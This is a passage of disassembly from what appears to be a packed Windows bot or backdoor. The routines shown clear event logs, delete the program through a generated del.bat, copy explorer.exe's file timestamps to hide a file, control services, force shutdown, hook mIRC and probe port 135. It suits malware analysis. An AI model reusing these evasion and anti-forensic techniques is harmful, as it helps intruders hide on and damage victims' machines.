fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: .packed:0040DFD7p
; .packed:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA24 ; inet_addr
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA64 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9E4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB98C ; connect
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_43937C
push esi
call dword_4CBA34 ; send
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9FC ; recv
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C8
push [ebp+arg_4]
call dword_4CBA34 ; send
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9FC ; recv
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset loc_4393E4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA7C ; closesocket
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; sub_410BFD+F4p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; sub_415E4B+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_427094 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_427164 ; FormatMessageA
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB18C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9B4 ; OpenClipboard
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9D4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
call dword_42716C ; GlobalLock
push esi
mov edi, eax
call dword_427168 ; GlobalUnlock
call dword_4CBA38 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9F0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_427178 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_427174 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA40 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CBA40 ; SendMessageA
push ebx
call dword_427170 ; UnmapViewOfFile
push edi
call dword_427070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: sub_401221+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBAA0 ; SearchPathA
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_427180 ; GetFileTime
push ebx
mov ebx, dword_427070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_42717C ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB924 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; sub_4167A0+472p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAB4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4270B8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4270F0 ; WriteFile
push edi
call dword_427070 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB98
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4270A4 ; GetModuleHandleA
push eax
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_42709C ; SetFileAttributesA
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_427184 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_427074 ; CreateProcessA
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270D0 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB964 ; OpenEventLogA
push edi
push eax
call dword_4CB974 ; ClearEventLogA
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_439504
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4394DC
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
push offset unk_4394AC
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270D0 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_4270C0 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call dword_4270C4 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call dword_427144 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
; sub_40F0F1+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439528[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_439524[esi]
push offset unk_439638
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA50
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_43960C
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA50
push off_439520[eax*4]
push offset unk_4395E8
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9D8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8C0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB92C ; ControlService
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8C8 ; StartServiceA
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB930 ; DeleteService
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8DC ; CloseServiceHandle
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8DC ; CloseServiceHandle
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
